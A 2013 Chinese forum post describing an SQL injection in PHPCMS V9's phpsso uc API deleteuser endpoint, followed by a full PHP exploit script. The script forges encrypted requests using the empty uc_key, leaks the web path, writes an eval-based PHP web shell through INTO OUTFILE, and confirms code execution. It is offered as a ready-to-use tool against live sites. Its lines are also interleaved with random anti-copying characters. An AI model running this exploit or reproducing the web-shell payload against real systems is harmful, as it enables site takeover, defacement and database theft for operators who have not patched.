找回密码
 立即注册
查看: 2325|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。% J( |2 T( ~  d/ G" a3 I6 A! i
$ ^3 s% k# V' O% O- S: ^$ j: r9 X
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
5 j3 T  c" B# N  }( L
* R' c0 |3 E3 ^漏洞分析:2 g0 t2 l  M  c' _: i
1.未启用ucenter服务的情况下uc_key为空3 b# n4 b. ~$ i& s6 a
define('UC_KEY', pc_base::load_config('system', 'uc_key'));4 O6 B/ h7 o2 y. q' D
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
' \4 r/ x/ W1 e' z7 [    public function deleteuser($get,$post) {$ u7 [: T" M  }0 a( u0 J
        pc_base::load_app_func('global', 'admin');
% m$ u  s5 f" g' F5 _2 d1 F        pc_base::load_app_class('messagequeue', 'admin' , 0);* Z% R) J9 M/ E8 E2 g
        $ids = new_stripslashes($get['ids']);
* v9 Z( w0 a" f# ^9 F        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
. G! Z8 t" A5 |, bSQL语句为
7 j# Z3 K/ H. h( q( o! P7 K# ~SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)% w- \' @9 b9 F. Q/ [1 s
: ^- t" f$ `5 c5 I) p
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
' S. a) x3 o- S( m6 ?<?php
0 P" |. i% t" mprint_r('
7 U1 u3 }+ S$ p7 G& m7 j---------------------------------------------------------------------------
( l: ]. c: m; Q  b! _# \PHPcms (v9 or Old Version) uc api sql injection 0day: }& J: m2 i' @3 P' |
by rayh4c#80sec.com& `  j; ]/ `8 X. j
---------------------------------------------------------------------------
3 L! e, a* y6 f: T');% G' i9 T* L7 P

0 M3 \- I  m6 f! R  s+ B* d' Oif ($argc<3) {
& ~" W3 b, r5 U2 x2 j. l2 A    print_r('
* l7 p' P! k! N0 T6 y---------------------------------------------------------------------------
1 s4 q4 o. g% S9 fUsage: php '.$argv[0].' host path OPTIONS, I6 z; l5 q: ?3 _
host:      target server (ip/hostname)
! k8 Q4 ~4 T6 ^% m3 B; g0 jpath:      path to phpcms
1 j6 y. X' l+ |  g8 vOptions:
9 U2 v$ m0 ^$ e5 h- p0 N -p[port]:    specify a port other than 802 o- f2 Y9 H* T: S' r2 z5 x
-P[ip:port]: specify a proxy
- G' f3 r; S- m7 R9 yExample:
$ z; U1 L: J* Dphp '.$argv[0].' localhost /* W# ^8 B# W' U: I; v  U
php '.$argv[0].' localhost /phpcms/ -p81
& p5 _& z. n( Q' }php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:803 b4 D& a* y- \4 C9 b- W
---------------------------------------------------------------------------
# }7 f8 p3 g! S' O');9 b0 L' r5 b& a0 x4 K. V
    die;
* G% @7 M8 N4 E- R( i}
# p: r. `  T4 T7 L; @
; p- ]6 G5 J- ~" S# h- X. {+ S" Aerror_reporting(7);
1 L* i( y* `, f" u* u8 Z1 Kini_set("max_execution_time",0);
6 z( G( g/ ^) q. yini_set("default_socket_timeout",5);
" D6 h) M! l: D8 X8 G* n7 T* F0 Q/ x7 ~$ @% n6 J
function quick_dump($string)% S+ _* Y( S  p  [8 f) B
{
9 z/ L- X& @; R" q" ~  $result='';$exa='';$cont=0;; |$ S: [; [1 q9 }* M+ R. s
  for ($i=0; $i<=strlen($string)-1; $i++)- B/ q. }0 p1 Y+ {* D
  {
( d+ t2 }- m' |) X- N7 S2 L   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))! Z' v- j+ _+ c  y5 a9 D( j% i
   {$result.="  .";}
! O6 o) S, V/ I7 r0 \4 \   else
% b' [9 s- [5 l; f$ |) }   {$result.="  ".$string[$i];}
' Q5 S, V$ P$ z: E/ [. \( u8 v   if (strlen(dechex(ord($string[$i])))==2)/ B8 M. E* {" n
   {$exa.=" ".dechex(ord($string[$i]));}
3 z. s" `- M2 J! l0 i7 ]5 t   else" D9 r* w4 G' N# ]
   {$exa.=" 0".dechex(ord($string[$i]));}8 t5 `* r/ g% ~# i8 c  r' i  P
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
- y$ d; ]1 m5 e& A  r! H  m( q5 D  }
; V  c, }" `0 d* q% ]) v+ v- @ return $exa."\r\n".$result;' n+ |7 A4 Y4 X! ?
}5 y7 p. j: F1 p& R. H/ S5 Z
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';" u5 v) R! G9 {* B5 I

* r8 ~! D! F( c$ y+ e- \% ?function send($packet)7 ], c- M+ G1 ~$ a# }2 \$ k) e* Z  F
{3 ~2 W8 e, p4 X4 ?0 O  T  c
  global $proxy, $host, $port, $html, $proxy_regex;0 p/ K& K* P7 ^# g* E1 z! ?
  if ($proxy=='') {' u" d# a- c/ j( X
    $ock=fsockopen(gethostbyname($host),$port);
' c5 Y! p* h# d' I    if (!$ock) {, h# u1 |6 R% P2 _% a" X; t) ?. ~
      echo 'No response from '.$host.':'.$port; die;! n6 q7 v  t, O" B. t5 G. ?$ ]+ j' R5 _
    }% x  P& C" r* F( |8 F
  }; ?8 ]2 q$ Q$ c4 N) M
  else {! }5 n+ l+ U1 l8 H& w2 T5 E
        $c = preg_match($proxy_regex,$proxy);
* x" L: w7 ~4 H6 N# N1 q    if (!$c) {
5 _( v4 B  A; _. s      echo 'Not a valid proxy...';die;
7 k# l2 K: |/ v4 X# Y* U    }) C0 @5 C) N) C! `/ v9 |- ~$ v
    $parts=explode(':',$proxy);! u! y, i0 M. B0 t3 [
    $parts[1]=(int)$parts[1];5 `5 `2 Y" e! E# @) S1 _
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
* a. P$ R5 O" S3 M. Y' M    $ock=fsockopen($parts[0],$parts[1]);  n" b$ D# b* @) {
    if (!$ock) {2 O3 G+ t3 @& E6 M, a# T( H+ ]" o
      echo 'No response from proxy...';die;
; h0 N2 b2 b/ V" b; X# r, I% E        }% O7 |/ ~1 r! q) L( ?  }
  }% `) B- Z0 |3 {# f' j1 z
  fputs($ock,$packet);
" p2 N. M  m$ H0 x  if ($proxy=='') {
- R  I! w5 X0 e3 w1 T( f) X    $html='';9 y3 A( ~' [/ W6 R7 b
    while (!feof($ock)) {# R0 j0 C7 V3 B- [& l
      $html.=fgets($ock);5 g. g/ F/ Q& j) w
    }3 r7 |- l" F1 C* v& _' g
  }
0 Z+ A$ \& e- ?; T8 }! N0 s0 i  else {- U$ ?! u  z* O- ^/ i8 q8 @
    $html='';
- q* @* S" n, \/ z$ Q. A    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$ v) s1 C0 O0 y* I  s2 E& C( t      $html.=fread($ock,1);
$ X9 U$ }7 v1 q) g8 A    }* N+ \9 L6 {1 S0 u) |( s* `
  }; ]  B/ J+ A! ]0 b
  fclose($ock);
4 K4 @& j' T3 r! t# \% ^) n* O2 Z}$ t' a2 E0 J' \( t- u5 W1 c' H0 I0 b
* V7 A1 f4 k7 \) u' W4 Q, N- G6 h
$host=$argv[1];
. y/ q5 @  x  ?3 Y; L$path=$argv[2];
8 W& @+ s3 ~2 a( j% g0 x/ X$port=80;0 ?# G4 A+ P$ p2 ~
$proxy="";7 D8 `+ b  ]1 J) N# G# x
for ($i=3; $i<$argc; $i++){5 {+ S: b* T- f3 P
$temp=$argv[$i][0].$argv[$i][1];
0 ?1 [& U; C& c' \5 _: G* E$ C$ Nif ($temp=="-p")
% _9 z( c5 S2 [- c0 v) O5 Y- ~{
& ]# I& T% ^) x& W  $port=(int)str_replace("-p","",$argv[$i]);0 d+ h' s; Y7 p6 d0 G0 x! [: E8 G
}; `0 s: @! V/ G0 f  {
if ($temp=="-P")
3 q+ q' W8 Z* m3 V6 P/ M  F{
/ F7 M6 I% ]1 {: x* s/ b  $proxy=str_replace("-P","",$argv[$i]);
) Q; b$ w3 t+ x; P) m9 ?}
) C; u, a# ~6 S, v}2 w) m  d1 ]3 t' o$ A! |8 E0 e: m

- y4 p6 l' n- q; R" U8 Sif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  G, [8 e9 r/ n8 l
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}/ F: _+ D$ P1 |8 O- n
/ Y+ K. V' J; {* w
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 @6 p4 q) [6 c+ O6 ~2 d
3 n0 j( a, o1 x: p; ^1 o
    $ckey_length = 4;) B- I9 B. x3 e/ h5 D: V

! s- _$ O% B8 T7 a4 v. O    $key = md5($key ? $key : '');
. U5 S  b4 L+ m3 `% D    $keya = md5(substr($key, 0, 16));
" D2 B- Q) X$ n: I4 b4 }, z    $keyb = md5(substr($key, 16, 16));# P$ G: Z; |, B4 {0 g- c! k
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
2 m! S- c7 L0 q# T& {
3 J' Y4 v8 Q+ R& _    $cryptkey = $keya.md5($keya.$keyc);8 D  v0 S9 Z$ P: k' q& k4 |
    $key_length = strlen($cryptkey);
. `* b1 C* j8 n7 P4 }% T$ @) F0 g. Q# _5 i- x  K3 T2 ?# G
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
5 V9 U, ]; F5 M: `    $string_length = strlen($string);3 X" ]* Z* z6 y2 w
5 i6 w( Y2 U" P7 n. t% z) {: o" E
    $result = '';3 b  m4 ?& `  }( x6 a, h( I0 T
    $box = range(0, 255);5 O" O/ T: [$ I# O
5 o/ e1 i$ q& o7 B! d
    $rndkey = array();
* A, q( ~* a" ~    for($i = 0; $i <= 255; $i++) {% |4 m* B4 j& \# ^
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
6 r% n4 n3 @: G' X! ?    }
) m9 N' }3 l- T; H- c/ W, g* X" n9 P* k
    for($j = $i = 0; $i < 256; $i++) {
9 I" O# U& T7 I: r) g' W        $j = ($j + $box[$i] + $rndkey[$i]) % 256;- e. j; y8 Z# j7 Q0 g2 c
        $tmp = $box[$i];  F' W6 h- h% R; t7 J3 W: T
        $box[$i] = $box[$j];1 ?5 a3 X$ `  z4 u0 {7 A, n0 N# [
        $box[$j] = $tmp;( _( B( O! T6 C
    }
& d7 w/ r; Y* Y- N* r
! R# m2 M( b0 O+ O% ]: z    for($a = $j = $i = 0; $i < $string_length; $i++) {
) v1 y; d+ k5 A. E1 Y. y- ~        $a = ($a + 1) % 256;& |. [9 S% p: V& V% D# K4 m5 J4 t5 P
        $j = ($j + $box[$a]) % 256;; b! U0 |' s* N  n
        $tmp = $box[$a];1 K* b2 V3 |; a% `/ a
        $box[$a] = $box[$j];
1 [" R0 i' D5 R# H2 O' I        $box[$j] = $tmp;$ [4 K" x. L1 y
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
. Q8 }/ `; r7 {0 z8 [2 L! j: A. o5 ^    }; B. L0 \3 \6 `6 Q% h* A
/ v* {$ M+ |' @6 H* @* X
    if($operation == 'DECODE') {
5 W9 u8 P: U( G8 S  G        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {2 Z0 q* t; Q1 j: w
            return substr($result, 26);- c$ d% T) q) \/ ^$ f! S/ x6 x
        } else {
4 o7 J5 u; X6 ~0 C: i' X            return '';( I8 z: L- e4 z( w
        }
# u- G! q2 Q$ v) E& o    } else {% D" ^7 Q* |3 `) T# w
        return $keyc.str_replace('=', '', base64_encode($result));3 Z' ?# y( Z% U" X5 V
    }
6 g1 R! P# R0 t2 t
! z& x8 K: K0 L" r}+ t2 J& [# U9 D* r

# p4 x( q9 b  k& I$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
+ D- ?, r. m  O! f$ X$ t% k$SQL = urlencode(authcode($SQL, "ENCODE", ""));
% z' S; T6 _9 R# s8 \0 Uecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";! L; z* n/ Q2 V6 }. t
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ g8 j- M7 C, t! H3 e$packet.="User-Agent: Mozilla/5.0\r\n";
! s' u4 o% y0 H' r' o) `$packet.="Host: ".$host."\r\n";
3 k0 e+ I+ F' h" r7 Q8 \4 n$packet.="Connection: Close\r\n\r\n";3 X" `3 [& R( e) _9 X3 ?
send($packet);
& i% K3 {0 C' Q0 ~, P$ r/ L2 oif(strpos($html,"MySQL Errno") > 0){
/ [/ W% C, V; W5 d- G+ Q! b0 o( qecho "[2] 发现存在SQL注入漏洞"."\n";' S6 A$ a1 F& r' k
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";$ a' f$ A0 N' }
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
; F5 a0 V7 N& N. u. m$packet.="User-Agent: Mozilla/5.0\r\n";
+ W+ l1 X8 {$ w& F( A7 R1 Z+ f0 D6 _$packet.="Host: ".$host."\r\n";
: M; V- u0 \' v$ I% K$packet.="Connection: Close\r\n\r\n";7 a( [. Y" |2 ~6 I7 f
send($packet);
4 s4 C/ h+ f9 a, Epreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
1 W3 e  Q* ]& l/ @5 B* I+ O//print_r($matches);
) t( S$ @; r4 a7 @) gif(!empty($matches)){  J0 m" n3 i1 z* Y% X
echo "[4] 得到web路径 " . $matches[0]."\n";: K; Z& U5 ]3 D3 C: h. M3 i3 ^
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";/ d1 }, b9 y4 f5 ]9 ^
$SQL = "time=999999999999999999999999&ids=1)";
: T' u, `. v+ `. c$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";& @2 }" A8 R1 V
$SQL.="&action=deleteuser";0 g- N7 ]! n$ T% z/ ]9 N; I
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
& e4 |9 R: h# }# b$ Decho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";' c. l! B9 y* g1 X9 w
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";/ g4 j1 F3 h, G" q3 x3 n
$packet.="User-Agent: Mozilla/5.0\r\n";7 X) b! T3 p* |1 J* E6 {3 y& [
$packet.="Host: ".$host."\r\n";7 |" W5 i3 ~4 j9 S
$packet.="Connection: Close\r\n\r\n";
6 o. F# \6 [- b) Jsend($packet);
' e9 M8 T* r) [) \if(strpos($html,"Access denied") > 0){8 l9 r4 w- K$ P) X' F0 \  P7 N( e+ X
echo "[-] MYSQL权限过低 禁止写入文件 ";* _; d/ u# i4 |7 h5 c. Y
die;* @5 n5 g3 X, n) |$ o; s. o# w
}2 t0 u: t9 m, A7 `- A
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
2 N/ z+ [9 v9 \$ H0 ]$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";. c$ ?; d* E7 g2 \6 {9 K
$packet.="User-Agent: Mozilla/5.0\r\n";3 F) n# N9 |7 o7 j7 H. s
$packet.="Host: ".$host."\r\n";
; R' s2 e' L) o$packet.="Connection: Close\r\n\r\n";1 ]; [  s' L2 i  H0 U" o
send($packet);
, N2 O+ w, V# gif(strpos($html,"<title>phpinfo()</title>") > 0){. w9 D0 K( w+ X9 s6 Q  B. u
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";- L" U/ z2 |1 @% Q& {" W  O0 p
}
5 K! f. D3 s3 P  v9 Q: B}else{: W4 b! s1 Q" s" r, x1 v: s) C
echo "[-]未取到web路径 ";
: M0 L/ n$ F7 G) A}
, l, n: c) F$ ?4 K# N& p}else{
, ]; @9 `; x2 r# {" M( ]echo "[*]不存在SQL注入漏洞"."\n";
* h7 u( i) t( X; A}! c7 V+ h' D1 g7 i- U, P* m
) G. E6 m' y) \0 W/ X% T
?>* D& S. @+ r$ O, ^! u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表